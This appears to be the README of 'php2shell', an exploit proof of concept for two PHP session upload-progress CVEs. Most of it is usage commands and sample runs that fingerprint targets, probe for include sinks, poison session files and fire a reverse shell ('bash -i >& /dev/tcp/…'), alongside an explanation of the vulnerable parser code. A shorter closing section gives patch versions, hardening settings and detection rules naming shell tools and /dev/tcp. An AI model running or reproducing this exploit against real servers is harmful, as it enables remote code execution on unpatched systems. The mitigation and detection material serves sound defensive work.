| **CVE-2026-109618** | RCE via OOM corruption | An out-of-memory condition can interrupt PHP while internal request data is only partially initialised. Request cleanup may then treat the invalid data as valid. |
| **CVE-2026-109619** | RCE via stale global state | Request-owned internal state can survive after its backing memory has been freed. A later request handled by the same worker may use that stale state before normal initialisation resets it. |
* **Affected:** PHP 5.4.0 → 8.5.x (the session upload-progress vector only
exists from 5.4.0). PHP 8.1 and older are EOL and will **never** be
* **Fixed in:** 8.5.12, 8.4.27, 8.3.36, 8.2.35.
* **Exploited in the wild** since 2026-10-21, mostly through the session
The reachable surface is the session upload-progress handler in
`ext/session/session.c`, which has three independent problems:
1. **Session fixation (pre-auth).** `MULTIPART_EVENT_FORMDATA` copies the
POST-body field named `PHPSESSID` into the progress session id **without
checking `session.use_only_cookies`**. The attacker therefore chooses the
session id — and hence the on-disk session file name.
2. **Unvalidated file name.** `MULTIPART_EVENT_FILE_START` stores the *raw*
uploaded file name into the session data, with no sanitisation at all.
3. **Attacker-controlled session content.** The POST-body field named
`PHP_SESSION_UPLOAD_PROGRESS` becomes the session key
Because the progress data is serialised into the attacker's *own* session
file, and PHP's session serialiser is not a sandbox, the attacker fully
controls the **content** of a file whose name is **fully predictable**:
Requirements: **Python 3.8+**, standard library only. No dependency, no
git clone
cd php2shell-CVE-2026-109618-CVE-2026-109619
python3 php2shell.py -l 10.0.0.5 -p 4444
python3 php2shell.py -c 'id'
The PoC prints what it did; the shell lands on your listener.
### Example 1 — reverse shell, everything auto-detected
$ python3 php2shell.py -l 127.0.0.1 -p 4444 -v
php2shell - CVE-2026-109618 / CVE-2026-109619 (pre-auth RCE)
[*] target :
[*] session : u9bavj3i070qhddg8vfptmhluj
[*] command : bash -c 'exec bash -i >& /dev/tcp/127.0.0.1/4444 0>&1' /dev/null 2>&1 &
[*] probe /sink.php -> HTTP 200 PHP/8.4.24 Apache/2.4.68 (Debian) PHP/8.4.24 [PHP]
[*] probe /index.php -> HTTP 200 PHP/8.4.24 Apache/2.4.68 (Debian) PHP/8.4.24 [PHP]
[*] probe / -> HTTP 200 PHP/8.4.24 Apache/2.4.68 (Debian) PHP/8.4.24 [PHP]
[*] no --sink given, probing for an include() sink ...
[+] found sink: /sink.php?page= (session file /tmp/sess_u9bavj3i070qhddg8vfptmhluj)
[*] poisoned session (attempt 1) HTTP 200
[*] trigger via /sink.php?page=/tmp/sess_u9bavj3i070qhddg8vfptmhluj -> HTTP 200 (712 bytes)
bash: impossible de régler le groupe de processus du terminal (183758): Ioctl() inapproprié
bash: pas de contrôle de tâche dans ce shell
### Example 2 — explicit sink and session path
When the automatic probe cannot find the inclusion sink (the app uses an
unusual parameter name, or the session directory is unusual):
$ python3 php2shell.py -l 10.0.0.5 -p 4444 \
--sink '/index.php?page=' --save-path /var/lib/php/sessions -v
[*] session : 4kahwb10zswy6byfbt90yt4fbd
[*] command : bash -c 'exec bash -i >& /dev/tcp/10.0.0.5/4444 0>&1' /dev/null 2>&1 &
[*] probe /index.php -> HTTP 200 PHP/8.4.24 Apache/2.4.68 (Debian) PHP/8.4.24 [PHP]
[*] using sink /index.php?page= session file /var/lib/php/sessions/sess_4kahwb10zswy6byfbt90yt4fbd
[*] poisoned session (attempt 1) HTTP 200
[*] trigger via /index.php?page=/var/lib/php/sessions/sess_4kahwb10zswy6byfbt90yt4fbd -> HTTP 200 (712 bytes)
$ python3 php2shell.py -c 'id' -v
[*] target :
[*] session : hk7uurfl0cs6prwzia0yomh1cp
[*] probe /sink.php -> HTTP 200 PHP/8.4.24 Apache/2.4.68 (Debian) PHP/8.4.24 [PHP]
[*] no --sink given, probing for an include() sink ...
[+] found sink: /sink.php?page= (session file /tmp/sess_hk7uurfl0cs6prwzia0yomh1cp)
[*] poisoned session (attempt 1) HTTP 200
[*] trigger via /sink.php?page=/tmp/sess_hk7uurfl0cs6prwzia0yomh1cp -> HTTP 200 (712 bytes)
### Example 4 — serialiser handler mismatch (no LFI needed)
$ python3 php2shell.py \
--write-path /app/upload.php --read-path /api/endpoint.php -c 'id' -v
[*] target :
[*] session : e4s92uz81cj9egobc29edsgmsg
[*] probe /app/upload.php -> HTTP 200 PHP/8.4.24 Apache/2.4.68 (Debian) PHP/8.4.24 [PHP]
[*] strategy 2: write /app/upload.php / read /api/endpoint.php
### Example 5 — target in maintenance mode
The PoC refuses to fire against a target that never reaches PHP, and says
so explicitly instead of failing silently:
$ python3 php2shell.py -c whoami -v
[*] target :
[*] session : 5kxhklckgsco15mhtowudiqc21
[*] probe /index.php -> HTTP 500 nginx
[*] probe / -> HTTP 200 nginx
[*] probe /index.html -> HTTP 200 nginx
[*] probe /app.php -> HTTP 500 nginx
[*] probe /form.php -> HTTP 500 nginx
[*] probe /upload.php -> HTTP 500 nginx
Every candidate path either errored out (HTTP 5xx) or was
served by the web server without ever reaching a PHP
interpreter (no X-Powered-By, no PHP fingerprint).
The application is very likely in maintenance mode or behind
a broken vhost, so there is no session module to attack
right now. Retry when the site is back online.
The multipart parser hands every `name="PHPSESSID"` field to the session
module's progress callback, which stores it as the progress session id
**without** honouring `session.use_only_cookies`:
/* ext/session/session.c, MULTIPART_EVENT_FORMDATA */
memcmp(data->name, PS(session_name), name_len) == 0) {
ZVAL_STRINGL(&progress->sid, (*data->value), value_len);
Content-Type: multipart/form-data; boundary=X
Content-Disposition: form-data; name="PHPSESSID"
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
The attacker now knows the exact server-side path of their session file:
### Step 2 — writing attacker content into the session file
The `PHP_SESSION_UPLOAD_PROGRESS` value becomes the session key
`upload_progress_`, and the session serialiser writes it verbatim.
upload_progress_|a:5:{s:10:"start_time";i:1792596599;...}
The payload is base64-encoded so it can carry **any** command without
tripping the session serialiser's `|` and newline restrictions.
If the application includes the session file (an `include()`/`require()`
sink), the embedded `` block executes. The command's own output
The PoC auto-detects this by poisoning a session with a harmless marker
and looking for the marker in the response, trying the common parameter
names (`page`, `file`, `path`, `doc`, `include`, `view`, `lang`, …) against
the common save paths (`/tmp`, `/var/lib/php/sessions`, …).
### Strategy 1 — session file poisoning + inclusion sink
The most general approach: works against any target with an
`include()`/`require()` sink that can be pointed at a session file, and
needs **no knowledge of the target's PHP build**.
* `session.upload_progress.enabled = On` (PHP default)
* `session.upload_progress.cleanup = Off` — so the poisoned entry is not
deleted at the end of the upload (**PHP's default is `On`**, so this has
* an `include()`/`require()` sink reachable with a user-controlled path
### Strategy 2 — serialiser handler mismatch → object injection
If two directories use different `session.serialize_handler` values, a
session written as `php_serialize` and read back with the `php` handler is
re-parsed as a `key|value` stream. A file name containing `|` shifts the
parse so that attacker bytes get deserialised as a serialized object, whose
`__destruct` runs during cleanup — **even though the decode returns
FAILURE**, because `__destruct` fires on both the success and the failure
* two reachable directories with different `session.serialize_handler`
* a class with a useful `__destruct` that is autoloadable on the target
-l, --lhost reverse shell listener address
-p, --lport reverse shell listener port (default 4444)
-c, --cmd command to execute instead of a reverse shell
--sid session id to use (default: random)
--session-name PHP session name (default: auto-detected, usually
--fix-by how the chosen session id is sent: "body" (the CVE
route, default) or "cookie" (the early_find_sid route)
--save-path server-side session save path
--sink inclusion sink URL, e.g. '/index.php?page='
--write-path php_serialize directory (strategy 2)
--read-path php directory (strategy 2)
--gadget serialized object injected by strategy 2
--all try every strategy (default behaviour)
--no-banner do not print the watermelon banner
--timeout per-request timeout in seconds (default 30)
`` in `--sink` is replaced by the discovered
* an unpatched PHP: **' --save-path /var/lib/php/sessions
`--save-path` is the server-side `session.save_path`; the session file is
**The payload is delivered but nothing happens**
`system()`, `exec()`, `passthru()`, `shell_exec()` and `proc_open()` are
frequently disabled with `disable_functions`. Check the target's
configuration; if the shell functions are gone, use another execution
**`Session cookie cannot be sent after headers have already been sent`**
The target emits output (or a warning) before the session code runs. This
Update PHP to **8.5.12 / 8.4.27 / 8.3.36 / 8.2.35**, or to your vendor's
backport. Until then, per the official advisory:
; CVE-2026-109619 - blocks the confirmed session paths.
; Set it before request parsing (php.ini, FPM pool or server config)
; and RESTART every worker. ini_set() and .user.ini are not enough.
; CVE-2026-109618 - removes the controllable memory-limit failure.
; Use php_admin_value in the FPM pool or the Apache configuration so
; Keep the request small; lower it if the app does not need uploads.
post_max_size = 8M ; 32M if file uploads are required
session.serialize_handler = php_serialize ; consistently, everywhere
disable_functions = exec,passthru,shell_exec,system,proc_open,popen
Also: use a container or cgroup limit as an availability boundary (a
policy that kills only the affected worker), and do not use `RLIMIT_AS` or
`RLIMIT_DATA` as a substitute — they can also reach the vulnerable
Alert when a PHP worker process spawns a child it should never spawn:
* `php-fpm`, `php-cgi`, `lsphp`, `httpd`, `apache2`
* children: `/bin/sh`, `/bin/bash`, `cmd.exe`, `powershell.exe`, `python`,
`perl`, `curl`, `wget`, `nc`, `certutil.exe`
* command lines containing `/dev/tcp/`, `fsockopen`, `mkfifo`
* immediate reconnaissance: `whoami`, `id`, `uname -a`, `ipconfig`
* grep the web access logs for `PHP_SESSION_UPLOAD_PROGRESS`
* look for session files containing `upload_progress_` followed by `<?php`
* watch for new files in the web root, `/tmp`, `/var/tmp`, new cron jobs
Florian Roth's [process-watcher](
is a good free tool for the process-spawn side.
* `GHSA-w8hw-w9fx-j79w` (CVE-2026-109618)
* `GHSA-6wmf-4rv5-p3rp` (CVE-2026-109619)
* [watchTowr — PHP CVE-2026-109618 FAQ](
* [sansec — PHP2Shell research](
* [Hadrian — php2shell exploited in the wild](
* [CERT-EU advisory 2026-018](
* [PHP session upload-progress internals](
* [PHP multipart parser](
php2shell.py the PoC (stdlib only, Python 3.8+)
The banner artwork is embedded in `php2shell.py`, so the PoC is a single
self-contained file: copy it anywhere and it still works.
For **authorised security testing and education only**. Use only against
systems you own or have explicit written permission to test. The authors
accept no liability for any misuse of this tool.
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
